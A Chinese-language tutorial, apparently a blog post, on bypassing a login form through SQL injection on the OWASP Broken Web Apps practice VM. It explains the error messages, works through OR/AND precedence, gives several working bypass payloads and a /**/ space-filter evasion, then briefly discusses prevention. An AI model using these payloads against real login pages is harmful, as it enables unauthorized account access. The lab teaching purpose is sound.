sql绕过登陆表单

靶机下载地址:https://sourceforge.net/projects/owaspbwa/files/

sql注入是在web端很常见的漏洞,主要是因为对于用户与数据库的操作,没有审查。比如,用户搜索叫做socks的商品,用sql结构化查询语句来检索数据库,使用select
socks from 表名称

对于数据库的操作,一般有 SELECT、INSERT、UPDATE、 DELETE

比如说,在虚拟机的登陆页面输入arst'

\

::: {.image-package}
\

::: {.image-caption}
:::
:::

You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use
near 'd41d8cd98f00b204e9800998ecf8427e'' at line 1

页面返回错误提示,at line 1
前面的不是双引号,而是两个单引号哦注意。说明多了单引号引发了sql错误,那么我们该如何利用这个异常呢?

首先,猜测后台的sql语句是

select * from 表名 where user = 'xxx' and password = 'xxx'

它将在数据库的某个地方核对user和password参数是否一致。一致的话,那么值为1,返回进入后的页面;不一致,值为0,返回登陆页面。那么我们的目的要将值为1。除了输入正确的用户名和密码,还有没有其他方法使得值为1呢?有的。

如果sql语句改成这样:

select * from 表名 where user = 'xxx' or '1=1' and password =
'xxx'

我们都知道,or语句,只要一部分正确,就返回true。但是,and比or优先级高,所以,上面的语句就是

user = 'xxx' or '1=1' and password = 'xxx'

相当于       ( user = 'xxx') or( '1=1' and password = 'xxx')

                                 false     or   (true and false) 
结果为false

那怎么改呢?只要or前面的为true,就可以通过验证。

(user = 'admin') or ('1=1' and password = 'xxx')

true or false   通过验证

::: {.image-package}
\

::: {.image-caption}
:::
:::

成功登陆

::: {.image-package}
\

::: {.image-caption}
:::
:::

那怎么知道用户名一定有一个叫做admin的呢?

其实还有第二种方法:

(user = 'xxx' or 1=1) or ('1=1' and password = 'xxx')

                        true        or       false      通过验证

用户名输入      xxx'or1=1or'1=1

密码输入          xxx

You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use
near 'or1=1or'1=1' AND
password='f561aaf6ef0bf14d4208bb46a4ccb3ad'' at line 1

显示出了sql错误

e,因为1=1没有单引号,所以出错。

-

2017.11.2更新

输入     xxx' or '1=1' or '1=1

密码随意,ok,又进入了登陆页面。**如果空格会被过滤,空格可以替换为/**/**,这是多行注释符号,会被忽略的。

还有方法三:

xxx' or '1=1'#

密码不填,#注释掉后面的语句,OK,又进入了登陆页面

2018.1.21.疑问?从原理上看,sql注入应该很好预防,为什么依然有sql注入这种漏洞广泛存在?

因为数据库厂商(mysql)之类,给了程序员100%的权利,但由于程序员水平问题,程序架构复杂,人数多,导致的问题。

如何解决?指定安全框架,使程序员必须按照安全规范编写程序。

白盒检查,使写出的代码必须符合这个安全框架。
:::
:::
:::